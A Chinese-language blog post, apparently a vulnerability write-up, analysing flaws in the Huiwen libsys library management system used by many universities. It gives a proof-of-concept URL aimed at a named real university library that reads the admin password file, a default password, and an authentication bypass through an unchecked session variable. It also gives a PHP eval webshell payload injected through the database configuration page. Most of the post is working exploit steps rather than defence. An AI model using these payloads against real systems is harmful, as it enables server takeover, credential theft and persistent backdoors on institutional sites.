`

汇文libsys图书馆管理系统几个漏洞分析

阅读更多

libsys是一个图书馆管理系统,蛮多大学使用,详情见官网

  • /zplug/ajax_asyn_link.old.php任意文件包含(可查看后台admin密码,v5.0版本可getshell)
  • /admin/login.php任意用户登录漏洞(v5.0版本可getshell)
  • 默认密码:huiwen_opac

0x1. /zplug/ajax_asyn_link.old.php 任意文件包含(v5.0可getshell)

/zplug/ajax_asyn_link.old.php

<?php
$url = $_REQUEST['url'];
if ( $url && $url != "" )
{
    $ret = file_get_contents( $url );
}
else
{
    $ret = "";
}
echo $ret;
?>

libsys系统使用了zend加密,代码需要用dezender解密,我用的黑刀dezender5,内核三方式解密,还可以在http://www.showmycode.com/上在线解密,成功率不是100%

很明显,存在任意文件包含。由于后台密码存在/admin/opacadminpwd.php文件中,所以

获取后台密码POC:
http://lib.zstu.edu.cn/hwweb/zplug/ajax_asyn_link.old.php?url=../admin/opacadminpwd.php
3

$strPassWdFile是系统管理员密码
$strPassWdView是书评管理员密码

后台地址:http://lib.zstu.edu.cn/hwweb/admin/login.php

密码cmd5解密后,即可登录。

4

分析下如何getshell:

在admin/cfg_database.php中

$fulltextPath = $_REQUEST['fulltext_path'];


$strFile2 = "\$user = \"".$user."\";\r\n\$password = \"".$password."\";\r\n\$host = \"".$host."\";\r\n\$sid = \"".$sid."\";\r\n\$port = \"".$port."\";\r\n\$fulltextPath=\"".$fulltextPath."\";";


$strMsg2 = write_para( "../include/hwopacpwd.php", $strFile2 );

/admin/func_write_para.php

function write_para( $strFileName, $strPara )
{
    $fhandle = fopen( $strFileName, "wb" );
    if ( $fhandle )
    {
        $strPara = "<?php\n".$strPara."\n?>";
        if ( fwrite( $fhandle, $strPara ) )
        {
            fclose( $fhandle );
            $strMsg = "数据修改成功。";
        }
        else
        {
            $strMsg = "数据修改失败。";
        }
    }
    else
    {
        $strMsg = "数据修改失败。";
    }
    return $strMsg;
}

数据库配置:http://lib.zstu.edu.cn/hwweb/admin/cfg_database.php

可以发现,只要修改数据库配置信息,就能将配置信息写入/include/hwopacpwd.php文件中,所以getshell只需将全文索引文件夹路径修改为:c:/hwopac/index/";@eval($_POST['joychou']);//

5

菜刀连接后,可以看到hwopacpwd.php如下

6

0x2. /admin/login.php任意用户登录漏洞

/admin/login.php

session_start( );

if ( isset( $_REQUEST['username'] ) )

{

        $strUser = trim( $_REQUEST['username'] );

        $strInput = trim( $_REQUEST['passwd'] );

        $strMsg = "用户名或者密码错误";

        switch ( $strUser )

        {

        case "opac_admin" :

                $strPassWd = $strPassWdFile;

                $strMsg = verify_pwd( $strInput, $strPassWd );

                $strUrl = "cfg_basic.php";

                break;

        case "view_admin" :

                $strPassWd = $strPassWdView;

                $strMsg = verify_pwd( $strInput, $strPassWd );

                $strUrl = "cfg_review.php";

                break;

        default :

                $strMsg = "用户名或者密码错误";

                break;

        }

        if ( $strMsg == false )

        {

                $strMsg = "用户名或者密码错误";

        }

        else

        {

                $_SESSION['ADMIN_USER'] = $strUser;

                header( "Location:".$strUrl );

        }

}

可以发现,当post的username不是opac_admin和view_admin的时候,执行$_SESSION['ADMIN_USER'] = $strUser;

再访问/admin/cfg_database.php时,会有如下的验证。当$_SESSION['ADMIN_USER']不为空时,验证通过,成功登录后台。

session_start( );
if ( !isset( $_SESSION['ADMIN_USER'] ) )
{
    header( "Location:login.php" );
    exit( );
}

还是拿上面的例子举例吧。或者搜索opac v5

先随便提交一个username和passwd的post数据:username=joychou&passwd=joychou

7

再访问/admin/cfg_database.php即可登录后台。并且可以像上面的操作一样getshell

8

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics